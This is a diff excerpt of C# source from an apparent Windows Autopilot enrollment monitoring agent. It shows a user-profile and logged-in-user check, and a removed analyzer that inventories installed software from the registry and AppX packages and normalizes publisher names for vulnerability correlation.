var allFound = new List<string>();
|
||||
var unexpected = new List<string>();
|
||||
|
||||
try
|
||||
{
|
||||
const string usersRoot = @"C:\Users";
|
||||
|
||||
if (!Directory.Exists(usersRoot))
|
||||
{
|
||||
_logger.Debug($"{Name}: C:\\Users does not exist");
|
||||
return new UserProfileCheckResult { AllFound = allFound, Unexpected = unexpected };
|
||||
}
|
||||
|
||||
var dirs = Directory.GetDirectories(usersRoot, "*", SearchOption.TopDirectoryOnly);
|
||||
foreach (var dir in dirs)
|
||||
{
|
||||
var folderName = Path.GetFileName(dir);
|
||||
if (string.IsNullOrEmpty(folderName))
|
||||
continue;
|
||||
|
||||
allFound.Add(folderName);
|
||||
|
||||
if (!allowedAccounts.Any(a =>
|
||||
string.Equals(a, folderName, StringComparison.OrdinalIgnoreCase)))
|
||||
{
|
||||
unexpected.Add(folderName);
|
||||
_logger.Debug($"{Name}: Unexpected profile folder: {folderName}");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"{Name}: Failed to enumerate user profiles: {ex.Message}");
|
||||
}
|
||||
|
||||
return new UserProfileCheckResult { AllFound = allFound, Unexpected = unexpected };
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Detects currently logged-in user(s) by finding explorer.exe processes owned by
|
||||
/// real (non-system) users. Returns the plain username part (without domain prefix).
|
||||
/// Uses the same approach as DesktopArrivalDetector.
|
||||
/// </summary>
|
||||
private List<string> GetLoggedInUserNames()
|
||||
{
|
||||
var users = new List<string>();
|
||||
|
||||
try
|
||||
{
|
||||
var explorerProcesses = System.Diagnostics.Process.GetProcessesByName("explorer");
|
||||
foreach (var proc in explorerProcesses)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Session 0 = SYSTEM session, skip
|
||||
if (proc.SessionId == 0)
|
||||
continue;
|
||||
|
||||
string owner = GetExplorerOwner(proc.Id);
|
||||
if (string.IsNullOrEmpty(owner))
|
||||
continue;
|
||||
|
||||
// Extract username part (after backslash if DOMAIN\User format)
|
||||
var userName = owner;
|
||||
var bsIdx = owner.LastIndexOf('\\');
|
||||
if (bsIdx >= 0 && bsIdx < owner.Length - 1)
|
||||
userName = owner.Substring(bsIdx + 1);
|
||||
|
||||
// Skip system/service accounts
|
||||
if (IsSystemAccount(userName))
|
||||
continue;
|
||||
|
||||
if (!users.Any(u => string.Equals(u, userName, StringComparison.OrdinalIgnoreCase)))
|
||||
{
|
||||
users.Add(userName);
|
||||
_logger.Debug($"{Name}: Detected logged-in user: {userName}");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"{Name}: Error checking explorer.exe PID {proc.Id}: {ex.Message}");
|
||||
}
|
||||
finally
|
||||
{
|
||||
proc.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"{Name}: Failed to detect logged-in users: {ex.Message}");
|
||||
}
|
||||
|
||||
return users;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the owner of a process via WMI Win32_Process.GetOwner.
|
||||
/// Returns "DOMAIN\User" or "User", or null on failure.
|
||||
/// </summary>
|
||||
private string GetExplorerOwner(int processId)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
$"SELECT * FROM Win32_Process WHERE ProcessId = {processId}"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
var outParams = new object[2];
|
||||
var result = (uint)obj.InvokeMethod("GetOwner", outParams);
|
||||
if (result == 0)
|
||||
{
|
||||
var user = outParams[0]?.ToString();
|
||||
var domain = outParams[1]?.ToString();
|
||||
return string.IsNullOrEmpty(domain) ? user : $"{domain}\\{user}";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"{Name}: WMI GetOwner failed for PID {processId}: {ex.Message}");
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns true for system/service accounts that are not real enrolled users.
|
||||
/// </summary>
|
||||
private static bool IsSystemAccount(string userName)
|
||||
{
|
||||
if (string.IsNullOrEmpty(userName))
|
||||
return true;
|
||||
|
||||
var systemNames = new[] { "SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE" };
|
||||
foreach (var sn in systemNames)
|
||||
{
|
||||
if (string.Equals(userName, sn, StringComparison.OrdinalIgnoreCase))
|
||||
return true;
|
||||
}
|
||||
|
||||
// DefaultUser* pattern (OOBE system accounts)
|
||||
if (userName.StartsWith("DefaultUser", StringComparison.OrdinalIgnoreCase))
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Private result types
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private class BypassNroCheckResult
|
||||
{
|
||||
public int Value { get; set; }
|
||||
public bool KeyExists { get; set; }
|
||||
}
|
||||
|
||||
private class LocalAccountCheckResult
|
||||
{
|
||||
public List<string> AllChecked { get; set; } = new List<string>();
|
||||
public List<string> Unexpected { get; set; } = new List<string>();
|
||||
}
|
||||
|
||||
private class UserProfileCheckResult
|
||||
{
|
||||
public List<string> AllFound { get; set; } = new List<string>();
|
||||
public List<string> Unexpected { get; set; } = new List<string>();
|
||||
}
|
||||
}
|
||||
}
|
||||
-936
@@ -1,936 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers
|
||||
{
|
||||
/// <summary>
|
||||
/// Collects installed software inventory from the Windows registry, normalizes
|
||||
/// vendor/product/version strings, and emits structured events for vulnerability correlation.
|
||||
///
|
||||
/// Lifecycle:
|
||||
/// AnalyzeAtStartup() — baseline inventory snapshot (before enrollment installs)
|
||||
/// AnalyzeAtShutdown() — final inventory + delta (what was installed during enrollment)
|
||||
///
|
||||
/// The actual CVE/KEV correlation happens server-side after the events are ingested.
|
||||
/// </summary>
|
||||
public class SoftwareInventoryAnalyzer : IAgentAnalyzer
|
||||
{
|
||||
private readonly string _sessionId;
|
||||
private readonly string _tenantId;
|
||||
private readonly Action<EnrollmentEvent> _emitEvent;
|
||||
private readonly AgentLogger _logger;
|
||||
|
||||
// Captured at startup for delta detection at shutdown
|
||||
private List<SoftwareEntry> _startupInventory;
|
||||
|
||||
public string Name => "SoftwareInventoryAnalyzer";
|
||||
|
||||
// Maximum items per event chunk to stay within Table Storage property size limits (~64 KB)
|
||||
private const int ChunkSize = 75;
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Registry paths for installed software
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private static readonly string[] UninstallRegistryPaths = new[]
|
||||
{
|
||||
@"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall",
|
||||
@"SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall"
|
||||
};
|
||||
|
||||
private const string UninstallRegistryPathHkcu =
|
||||
@"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall";
|
||||
|
||||
private const string ProfileListPath =
|
||||
@"SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList";
|
||||
|
||||
private const string AppxAllUserStorePath =
|
||||
@"SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications";
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Publisher normalization map
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private static readonly Dictionary<string, string> PublisherMap = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase)
|
||||
{
|
||||
{ "microsoft corporation", "microsoft" },
|
||||
{ "microsoft", "microsoft" },
|
||||
{ "google llc", "google" },
|
||||
{ "google inc", "google" },
|
||||
{ "google inc.", "google" },
|
||||
{ "adobe inc.", "adobe" },
|
||||
{ "adobe systems incorporated", "adobe" },
|
||||
{ "adobe systems, incorporated", "adobe" },
|
||||
{ "mozilla corporation", "mozilla" },
|
||||
{ "mozilla", "mozilla" },
|
||||
{ "oracle corporation", "oracle" },
|
||||
{ "oracle", "oracle" },
|
||||
{ "apple inc.", "apple" },
|
||||
{ "apple inc", "apple" },
|
||||
{ "dell inc.", "dell" },
|
||||
{ "dell inc", "dell" },
|
||||
{ "dell technologies", "dell" },
|
||||
{ "hewlett-packard", "hp" },
|
||||
{ "hewlett packard enterprise", "hp" },
|
||||
{ "hp inc.", "hp" },
|
||||
{ "hp inc", "hp" },
|
||||
{ "lenovo", "lenovo" },
|
||||
{ "lenovo group limited", "lenovo" },
|
||||
{ "cisco systems, inc.", "cisco" },
|
||||
{ "cisco systems", "cisco" },
|
||||
{ "vmware, inc.", "vmware" },
|
||||
{ "vmware", "vmware" },
|
||||
{ "citrix systems, inc.", "citrix" },
|
||||
{ "citrix", "citrix" },
|
||||
{ "zoom video communications, inc.", "zoom" },
|
||||
{ "slack technologies, inc.", "slack" },
|
||||
{ "slack technologies, llc", "slack" },
|
||||
{ "7-zip", "7-zip" },
|
||||
{ "igor pavlov", "7-zip" },
|
||||
{ "the 7-zip developers", "7-zip" },
|
||||
{ "notepad++ team", "notepad++" },
|
||||
{ "don ho", "notepad++" },
|
||||
{ "putty", "putty" },
|
||||
{ "simon tatham", "putty" },
|
||||
{ "winscp", "winscp" },
|
||||
{ "martin prikryl", "winscp" },
|
||||
{ "teamviewer", "teamviewer" },
|
||||
{ "teamviewer germany gmbh", "teamviewer" },
|
||||
{ "fortinet technologies (canada) inc.", "fortinet" },
|
||||
{ "fortinet inc", "fortinet" },
|
||||
{ "palo alto networks", "paloaltonetworks" },
|
||||
{ "crowdstrike, inc.", "crowdstrike" },
|
||||
{ "crowdstrike inc.", "crowdstrike" },
|
||||
{ "git", "git" },
|
||||
{ "the git development community", "git" },
|
||||
{ "python software foundation", "python" },
|
||||
{ "node.js", "nodejs" },
|
||||
{ "node.js foundation", "nodejs" },
|
||||
{ "openjs foundation", "nodejs" },
|
||||
|
||||
// Endpoint security & AV
|
||||
{ "sophos", "sophos" },
|
||||
{ "sophos limited", "sophos" },
|
||||
{ "eset, spol. s r.o.", "eset" },
|
||||
{ "eset", "eset" },
|
||||
{ "malwarebytes", "malwarebytes" },
|
||||
{ "kaspersky", "kaspersky" },
|
||||
{ "kaspersky lab", "kaspersky" },
|
||||
{ "trend micro", "trendmicro" },
|
||||
{ "trend micro inc.", "trendmicro" },
|
||||
{ "mcafee, inc.", "mcafee" },
|
||||
{ "mcafee, llc", "mcafee" },
|
||||
{ "symantec corporation", "symantec" },
|
||||
{ "broadcom inc.", "broadcom" },
|
||||
{ "carbon black, inc.", "carbonblack" },
|
||||
{ "sentinelone", "sentinelone" },
|
||||
|
||||
// VPN & network security
|
||||
{ "zscaler, inc.", "zscaler" },
|
||||
{ "zscaler", "zscaler" },
|
||||
{ "netskope", "netskope" },
|
||||
{ "netskope, inc.", "netskope" },
|
||||
{ "pulse secure, llc", "pulsesecure" },
|
||||
{ "juniper networks", "juniper" },
|
||||
{ "openvpn inc.", "openvpn" },
|
||||
{ "openvpn technologies", "openvpn" },
|
||||
{ "wireguard", "wireguard" },
|
||||
|
||||
// Device management & enterprise
|
||||
{ "glueckkanja ag", "glueckkanja" },
|
||||
{ "glueckkanja-gab ag", "glueckkanja" },
|
||||
{ "beyond trust", "beyondtrust" },
|
||||
{ "beyondtrust software", "beyondtrust" },
|
||||
{ "beyondtrust corporation", "beyondtrust" },
|
||||
{ "ivanti", "ivanti" },
|
||||
{ "ivanti, inc.", "ivanti" },
|
||||
{ "1e", "1e" },
|
||||
{ "tanium", "tanium" },
|
||||
{ "tanium inc.", "tanium" },
|
||||
{ "bigfix", "bigfix" },
|
||||
{ "hcl technologies limited", "hcl" },
|
||||
{ "sap se", "sap" },
|
||||
{ "sap", "sap" },
|
||||
{ "servicenow", "servicenow" },
|
||||
|
||||
// Communication & collaboration
|
||||
{ "webex communications", "webex" },
|
||||
{ "discord inc.", "discord" },
|
||||
{ "signal messenger, llc", "signal" },
|
||||
{ "signal", "signal" },
|
||||
|
||||
// Multimedia & documents
|
||||
{ "videolan", "videolan" },
|
||||
{ "videolan team", "videolan" },
|
||||
{ "the document foundation", "libreoffice" },
|
||||
{ "foxit software inc.", "foxit" },
|
||||
{ "foxit", "foxit" },
|
||||
{ "tracker software products", "pdfxchange" },
|
||||
{ "audacity team", "audacity" },
|
||||
{ "gimp", "gimp" },
|
||||
{ "the gimp team", "gimp" },
|
||||
{ "irfanview", "irfanview" },
|
||||
{ "irfan skiljan", "irfanview" },
|
||||
|
||||
// Remote access
|
||||
{ "anydesk software gmbh", "anydesk" },
|
||||
{ "anydesk", "anydesk" },
|
||||
{ "rustdesk", "rustdesk" },
|
||||
{ "realvnc", "realvnc" },
|
||||
{ "realvnc ltd", "realvnc" },
|
||||
{ "devolutions", "devolutions" },
|
||||
{ "devolutions inc.", "devolutions" },
|
||||
{ "splashtop", "splashtop" },
|
||||
{ "splashtop inc.", "splashtop" },
|
||||
{ "bomgar", "bomgar" },
|
||||
|
||||
// Development tools
|
||||
{ "jetbrains s.r.o.", "jetbrains" },
|
||||
{ "jetbrains", "jetbrains" },
|
||||
{ "postman, inc.", "postman" },
|
||||
{ "postman", "postman" },
|
||||
{ "docker inc.", "docker" },
|
||||
{ "docker", "docker" },
|
||||
{ "github, inc.", "github" },
|
||||
{ "github", "github" },
|
||||
{ "atlassian", "atlassian" },
|
||||
{ "atlassian pty ltd", "atlassian" },
|
||||
{ "hashicorp", "hashicorp" },
|
||||
{ "hashicorp, inc.", "hashicorp" },
|
||||
{ "sublime hq pty ltd", "sublimetext" },
|
||||
|
||||
// Utilities
|
||||
{ "filezilla project", "filezilla" },
|
||||
{ "tim kosse", "filezilla" },
|
||||
{ "keepass", "keepass" },
|
||||
{ "dominik reichl", "keepass" },
|
||||
{ "greenshot", "greenshot" },
|
||||
{ "paint.net", "paintnet" },
|
||||
{ "dotpdn llc", "paintnet" },
|
||||
{ "win32diskimager", "win32diskimager" },
|
||||
{ "angusj", "7-zip" },
|
||||
{ "rarlab", "winrar" },
|
||||
{ "alexander roshal", "winrar" },
|
||||
{ "winrar", "winrar" },
|
||||
{ "wireshark foundation", "wireshark" },
|
||||
{ "the wireshark team", "wireshark" },
|
||||
{ "nmap project", "nmap" },
|
||||
{ "insecure.com", "nmap" },
|
||||
{ "voidtools", "everything" },
|
||||
|
||||
// Hardware vendors
|
||||
{ "intel corporation", "intel" },
|
||||
{ "intel", "intel" },
|
||||
{ "nvidia corporation", "nvidia" },
|
||||
{ "nvidia", "nvidia" },
|
||||
{ "amd", "amd" },
|
||||
{ "advanced micro devices, inc.", "amd" },
|
||||
{ "realtek semiconductor", "realtek" },
|
||||
{ "realtek", "realtek" },
|
||||
{ "logitech", "logitech" },
|
||||
{ "logitech inc.", "logitech" },
|
||||
|
||||
// Database & data tools
|
||||
{ "dbeaver corp", "dbeaver" },
|
||||
{ "mysql ab", "mysql" },
|
||||
{ "mariadb", "mariadb" },
|
||||
{ "the postgresql global development group", "postgresql" },
|
||||
{ "pgadmin development team", "pgadmin" },
|
||||
|
||||
// Backup & imaging
|
||||
{ "veeam software", "veeam" },
|
||||
{ "veeam", "veeam" },
|
||||
{ "acronis", "acronis" },
|
||||
{ "acronis international gmbh", "acronis" },
|
||||
{ "macrium software", "macrium" },
|
||||
{ "corel corporation", "corel" },
|
||||
};
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Publisher suffix stripping
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private static readonly string[] PublisherSuffixes = new[]
|
||||
{
|
||||
", inc.", " inc.", " inc", ", llc", " llc", ", ltd", " ltd", " ltd.",
|
||||
" corporation", " corp.", " corp", " gmbh", " ag", " se",
|
||||
" co.", " co", " group", " limited"
|
||||
};
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Exclude patterns for filtering noise
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private static readonly Regex KbUpdatePattern = new Regex(@"^KB\d{6,}", RegexOptions.IgnoreCase | RegexOptions.Compiled);
|
||||
|
||||
private static readonly string[] ExcludeContains = new[]
|
||||
{
|
||||
"Language Pack",
|
||||
"MUI Pack",
|
||||
"Spell Checking",
|
||||
"Proofing Tools",
|
||||
"Microsoft .NET Host",
|
||||
"Microsoft .NET Runtime",
|
||||
"Microsoft .NET AppHost",
|
||||
"Microsoft ASP.NET",
|
||||
"Microsoft Windows Desktop Runtime",
|
||||
"Additional Runtime",
|
||||
"Minimum Runtime",
|
||||
"Microsoft Update Health Tools",
|
||||
"Update for Windows",
|
||||
"Security Update for",
|
||||
"Hotfix for",
|
||||
};
|
||||
|
||||
private static readonly string[] ExcludeStartsWith = new[]
|
||||
{
|
||||
"vs_", // Visual Studio installer bootstrapper components
|
||||
"MSVC", // MSVC redistributable sub-components (the parent is kept)
|
||||
};
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// AppX package filtering — strict whitelist for all publishers
|
||||
// Sandboxed AppX/MSIX apps rarely have CVEs and the sandbox limits
|
||||
// blast radius, so we only surface packages with known security or
|
||||
// enterprise relevance to keep the report clean.
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private static readonly HashSet<string> AppxWhitelist = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
|
||||
{
|
||||
// Intune / device management
|
||||
"Microsoft.CompanyPortal",
|
||||
"Microsoft.ManagementApp",
|
||||
|
||||
// Communication & productivity (CVE-relevant, enterprise-deployed)
|
||||
"Microsoft.Teams",
|
||||
"MSTeams",
|
||||
"MicrosoftTeams",
|
||||
"Microsoft.Office.Desktop",
|
||||
"Microsoft.OutlookForWindows",
|
||||
|
||||
// Remote access (security surface)
|
||||
"MicrosoftCorporationII.WindowsApp",
|
||||
"MicrosoftCorporationII.WindowsSubsystemForLinux",
|
||||
|
||||
// Developer tools (CVE-relevant)
|
||||
"Microsoft.WindowsTerminal",
|
||||
"Microsoft.VisualStudioCode",
|
||||
|
||||
// Power Platform (enterprise)
|
||||
"Microsoft.PowerAutomateDesktop",
|
||||
};
|
||||
|
||||
// Pattern: {Publisher.PackageName}_{Version}_{Arch}__{PublisherHash}
|
||||
private static readonly Regex AppxPackagePattern = new Regex(
|
||||
@"^(.+?)_(\d+(?:\.\d+)*)_([^_]*)__([a-z0-9]+)$",
|
||||
RegexOptions.IgnoreCase | RegexOptions.Compiled);
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Regex patterns for normalization
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private static readonly Regex ArchitecturePattern = new Regex(
|
||||
@"\s*[\(\-]\s*(?:x64|x86|64-bit|32-bit|amd64|arm64)\s*[\)]?",
|
||||
RegexOptions.IgnoreCase | RegexOptions.Compiled);
|
||||
|
||||
private static readonly Regex TrailingVersionPattern = new Regex(
|
||||
@"\s+v?\d+(?:\.\d+)*\s*$",
|
||||
RegexOptions.IgnoreCase | RegexOptions.Compiled);
|
||||
|
||||
private static readonly Regex VersionExtractPattern = new Regex(
|
||||
@"(\d+(?:\.\d+){0,3})",
|
||||
RegexOptions.Compiled);
|
||||
|
||||
public SoftwareInventoryAnalyzer(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> emitEvent,
|
||||
AgentLogger logger)
|
||||
{
|
||||
_sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId));
|
||||
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
|
||||
_emitEvent = emitEvent ?? throw new ArgumentNullException(nameof(emitEvent));
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
}
|
||||
|
||||
public void AnalyzeAtStartup()
|
||||
{
|
||||
_logger.Info($"{Name}: Running startup analysis (baseline inventory)");
|
||||
try
|
||||
{
|
||||
_startupInventory = CollectAndNormalize();
|
||||
EmitInventoryEvents("startup", EnrollmentPhase.Unknown, _startupInventory, null);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error($"{Name}: Startup analysis failed", ex);
|
||||
}
|
||||
}
|
||||
|
||||
public void AnalyzeAtShutdown()
|
||||
{
|
||||
AnalyzeAtShutdown(whiteGlovePart: null);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Shutdown analysis with optional WhiteGlove part tag.
|
||||
/// Phase is always Unknown — analyzer events are NOT phase-declaration events.
|
||||
/// Only explicit phase-transition events (esp_phase_changed, agent_started) may carry
|
||||
/// a non-Unknown phase. Context is conveyed via DataJson (triggered_at, whiteglove_part).
|
||||
/// </summary>
|
||||
public void AnalyzeAtShutdown(int? whiteGlovePart)
|
||||
{
|
||||
_logger.Info($"{Name}: Running shutdown analysis (delta detection, whiteGlovePart={whiteGlovePart?.ToString() ?? "none"})");
|
||||
try
|
||||
{
|
||||
var currentInventory = CollectAndNormalize();
|
||||
var newInstalls = ComputeDelta(_startupInventory ?? new List<SoftwareEntry>(), currentInventory);
|
||||
EmitInventoryEvents("shutdown", EnrollmentPhase.Unknown, currentInventory, newInstalls, whiteGlovePart);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error($"{Name}: Shutdown analysis failed", ex);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Collection
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private List<SoftwareEntry> CollectAndNormalize()
|
||||
{
|
||||
var entries = new List<SoftwareEntry>();
|
||||
|
||||
// HKLM 64-bit and WOW6432Node (32-bit)
|
||||
foreach (var path in UninstallRegistryPaths)
|
||||
{
|
||||
var source = path.Contains("WOW6432Node") ? "HKLM_32" : "HKLM_64";
|
||||
CollectFromKey(Registry.LocalMachine, path, source, entries);
|
||||
}
|
||||
|
||||
// HKCU (may be empty during OOBE when running as SYSTEM)
|
||||
try
|
||||
{
|
||||
CollectFromKey(Registry.CurrentUser, UninstallRegistryPathHkcu, "HKCU", entries);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"{Name}: HKCU read skipped (expected during OOBE): {ex.Message}");
|
||||
}
|
||||
|
||||
// HKU per-user Uninstall keys — catches per-user installs (VS Code user, Teams Classic, Spotify, etc.)
|
||||
CollectFromAllUserProfiles(entries);
|
||||
|
||||
// AppX/MSIX packages — catches modern packaged apps (Company Portal, new Teams, etc.)
|
||||
CollectAppxPackages(entries);
|
||||
|
||||
// Normalize all entries
|
||||
foreach (var entry in entries)
|
||||
{
|
||||
NormalizeEntry(entry);
|
||||
}
|
||||
|
||||
_logger.Info($"{Name}: Collected {entries.Count} software entries");
|
||||
return entries;
|
||||
}
|
||||
|
||||
private void CollectFromKey(RegistryKey rootKey, string subKeyPath, string source, List<SoftwareEntry> results)
|
||||
{
|
||||
// rootKey.Name yields the canonical hive name (HKEY_LOCAL_MACHINE / HKEY_USERS / …),
|
||||
// so the log line is a real registry path. `source` is a separate telemetry tag
|
||||
// (e.g. HKLM_64, HKU_<RID>) used as RegistrySource on the SoftwareEntry.
|
||||
try
|
||||
{
|
||||
using (var key = rootKey.OpenSubKey(subKeyPath, writable: false))
|
||||
{
|
||||
if (key == null)
|
||||
{
|
||||
_logger.Debug($"{Name}: Registry key not found: {rootKey.Name}\\{subKeyPath} (source={source})");
|
||||
return;
|
||||
}
|
||||
|
||||
var subKeyNames = key.GetSubKeyNames();
|
||||
foreach (var subKeyName in subKeyNames)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var subKey = key.OpenSubKey(subKeyName, writable: false))
|
||||
{
|
||||
if (subKey == null)
|
||||
continue;
|
||||
|
||||
var displayName = subKey.GetValue("DisplayName")?.ToString();
|
||||
var systemComponent = subKey.GetValue("SystemComponent");
|
||||
var parentKeyName = subKey.GetValue("ParentKeyName")?.ToString();
|
||||
|
||||
if (ShouldExclude(displayName, systemComponent, parentKeyName))
|
||||
continue;
|
||||
|
||||
results.Add(new SoftwareEntry
|
||||
{
|
||||
DisplayName = displayName,
|
||||
DisplayVersion = subKey.GetValue("DisplayVersion")?.ToString(),
|
||||
Publisher = subKey.GetValue("Publisher")?.ToString(),
|
||||
InstallDate = subKey.GetValue("InstallDate")?.ToString(),
|
||||
InstallLocation = subKey.GetValue("InstallLocation")?.ToString(),
|
||||
UninstallString = subKey.GetValue("UninstallString")?.ToString(),
|
||||
IsWindowsInstaller = Convert.ToInt32(subKey.GetValue("WindowsInstaller") ?? 0) == 1,
|
||||
RegistrySource = source
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"{Name}: Error reading subkey {subKeyName}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"{Name}: Failed to read {rootKey.Name}\\{subKeyPath} (source={source}): {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// HKU per-user profile enumeration
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private void CollectFromAllUserProfiles(List<SoftwareEntry> results)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var profileList = Registry.LocalMachine.OpenSubKey(ProfileListPath, writable: false))
|
||||
{
|
||||
if (profileList == null)
|
||||
{
|
||||
_logger.Debug($"{Name}: ProfileList key not found");
|
||||
return;
|
||||
}
|
||||
|
||||
// Track SIDs we already read via HKCU to avoid duplicates
|
||||
var currentUserSid = GetCurrentUserSid();
|
||||
|
||||
foreach (var sid in profileList.GetSubKeyNames())
|
||||
{
|
||||
// Real user profiles only:
|
||||
// S-1-5-21-* classic local/AD user accounts
|
||||
// S-1-12-1-* Microsoft Account / Azure AD cloud SIDs (Win10 1903+ AAD-joined devices)
|
||||
// Skip well-known service SIDs (S-1-5-18/19/20) and everything else.
|
||||
if (!sid.StartsWith("S-1-5-21-", StringComparison.OrdinalIgnoreCase) &&
|
||||
!sid.StartsWith("S-1-12-1-", StringComparison.OrdinalIgnoreCase))
|
||||
continue;
|
||||
|
||||
// Skip current user SID — already covered by HKCU read above
|
||||
if (string.Equals(sid, currentUserSid, StringComparison.OrdinalIgnoreCase))
|
||||
continue;
|
||||
|
||||
try
|
||||
{
|
||||
// HKU\<SID> is only available if the user's hive is loaded
|
||||
var hkuPath = $@"{sid}\{UninstallRegistryPathHkcu}";
|
||||
CollectFromKey(Registry.Users, hkuPath, $"HKU_{sid.Substring(sid.LastIndexOf('-') + 1)}", results);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"{Name}: HKU read skipped for {sid}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"{Name}: Per-user profile enumeration failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetCurrentUserSid()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent())
|
||||
{
|
||||
return identity.User?.Value;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// AppX/MSIX package enumeration
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private void CollectAppxPackages(List<SoftwareEntry> results)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var appxKey = Registry.LocalMachine.OpenSubKey(AppxAllUserStorePath, writable: false))
|
||||
{
|
||||
if (appxKey == null)
|
||||
{
|
||||
_logger.Debug($"{Name}: AppX AllUserStore key not found");
|
||||
return;
|
||||
}
|
||||
|
||||
int appxCount = 0;
|
||||
|
||||
foreach (var subKeyName in appxKey.GetSubKeyNames())
|
||||
{
|
||||
try
|
||||
{
|
||||
if (ShouldExcludeAppx(subKeyName))
|
||||
continue;
|
||||
|
||||
var parsed = ParseAppxPackageName(subKeyName);
|
||||
if (parsed == null)
|
||||
continue;
|
||||
|
||||
results.Add(parsed);
|
||||
appxCount++;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"{Name}: Error parsing AppX entry {subKeyName}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
_logger.Info($"{Name}: Collected {appxCount} AppX packages");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"{Name}: AppX enumeration failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private static bool ShouldExcludeAppx(string packageFullName)
|
||||
{
|
||||
// Extract the package identity (everything before the first underscore)
|
||||
var underscoreIndex = packageFullName.IndexOf('_');
|
||||
var packageId = underscoreIndex > 0
|
||||
? packageFullName.Substring(0, underscoreIndex)
|
||||
: packageFullName;
|
||||
|
||||
// Strict whitelist — only explicitly listed packages pass through
|
||||
return !AppxWhitelist.Contains(packageId);
|
||||
}
|
||||
|
||||
private static SoftwareEntry ParseAppxPackageName(string packageFullName)
|
||||
{
|
||||
// Format: {Publisher.PackageName}_{Version}_{Arch}__{PublisherHash}
|
||||
// Example: Microsoft.CompanyPortal_5.0.6155.0_x64__8wekyb3d8bbwe
|
||||
var match = AppxPackagePattern.Match(packageFullName);
|
||||
if (!match.Success)
|
||||
return null;
|
||||
|
||||
var packageId = match.Groups[1].Value; // e.g. "Microsoft.CompanyPortal"
|
||||
var version = match.Groups[2].Value; // e.g. "5.0.6155.0"
|
||||
|
||||
